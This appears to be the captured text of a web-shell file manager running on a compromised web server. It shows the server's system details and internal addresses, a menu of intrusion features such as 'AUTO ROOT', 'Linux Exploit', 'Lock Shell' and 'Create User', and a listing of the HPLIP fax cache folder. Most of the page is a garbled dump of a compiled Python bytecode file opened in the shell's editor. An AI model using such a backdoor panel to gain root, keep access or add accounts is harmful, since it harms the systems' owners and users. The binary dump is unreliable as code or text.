Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
fax /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
coverpages.cpython-310.pyc
8.53
KB
-rw-r--r--
fax.cpython-310.pyc
20.54
KB
-rw-r--r--
faxdevice.cpython-310.pyc
1.28
KB
-rw-r--r--
__init__.cpython-310.pyc
125
B
-rw-r--r--
ledmfax.cpython-310.pyc
17.85
KB
-rw-r--r--
ledmsoapfax.cpython-310.pyc
3.1
KB
-rw-r--r--
marvellfax.cpython-310.pyc
17.89
KB
-rw-r--r--
pmlfax.cpython-310.pyc
19.76
KB
-rw-r--r--
soapfax.cpython-310.pyc
15.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pmlfax.cpython-310.pyc
o �/�a9� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlm Z d dl T d dlT d dlm Z mZmZmZ d dlmZ ddlT d ZdZdZd Zd ZdZdZd Zd ZdZdZdZd Z d Z!dZ"dZ#d Z$dZ%d Z&dZ'dZ(dZ)d Z*d Z+dZ,dZ-d Z.dZ/dZ0dZ1dZ2dZ3dZ4dZ5dZ6d Z7dZ8dZ9d Z:dZ;dZ<dZ=dZ>d Z?dZ@dZAdZdZd Zd ZdZd ZBdZCd ZDdZEdZFd ZGdZHdZIdZJG dd� deK�ZLG dd� dejM�ZNG d d!� d!eO�ZPdS )"� N)�StringIO)�BytesIO)�*)�device�utils�pml�codes)�cups� � � � � � � � � � � � � � � � � �J �$ �3 i� c @ s� e Zd Zdddedfdd�Zdd� Zdd� Zeeed d �Zdd� Z d d� Z ee e dd �Zdd� Zdd� Z dd� Zdd� Z ddd�ZdS )�PMLFaxDeviceNFc C s$ t �| |||||� d | _d | _d S �N)� FaxDevice�__init__�send_fax_thread�upload_log_thread)�self� device_uri�printer_name�callback�fax_type�disable_dbus� r* �/usr/share/hplip/fax/pmlfax.pyr! s � zPMLFaxDevice.__init__c C s | � tjt|��S r )�setPMLr �OID_FAX_LOCAL_PHONE_NUM�str)r$ �numr* r* r+ �setPhoneNum� s zPMLFaxDevice.setPhoneNumc C �@ t rt�| �tj�d �d��}|�d�S t�| �tj�d �S �Nr zutf-8)�PY3r � printable�getPMLr r- �encode�decode�r$ �datar* r* r+ �getPhoneNum� � zPMLFaxDevice.getPhoneNumr- )�docc C s | � tj|�S r )r, r �OID_FAX_STATION_NAME)r$ �namer* r* r+ �setStationName� s zPMLFaxDevice.setStationNamec C r1 r2 )r3 r r4 r5 r r= r6 r7 r8 r* r* r+ �getStationName� r; zPMLFaxDevice.getStationNamer= c C s d S r r* �r$ r* r* r+ �setDateAndTime� s zPMLFaxDevice.setDateAndTimec C s$ | � � st| �| _| j�� dS dS �NTF)�isUloadLogActive�UploadLogThreadr# �startrA r* r* r+ � uploadLog� s zPMLFaxDevice.uploadLogc C s | j d ur | j �� S dS )NF)r# �is_aliverA r* r* r+ �isUploadLogActive� s zPMLFaxDevice.isUploadLogActivec C s* | j d ur| j �� r| j �� d S d S d S r )r# rH �joinrA r* r* r+ �waitForUploadLogThread� s ��z#PMLFaxDevice.waitForUploadLogThread� c C s: | � � st| | j||||||||| �| _| j�� dS dS rC )�isSendFaxActive�PMLFaxSendThread�servicer"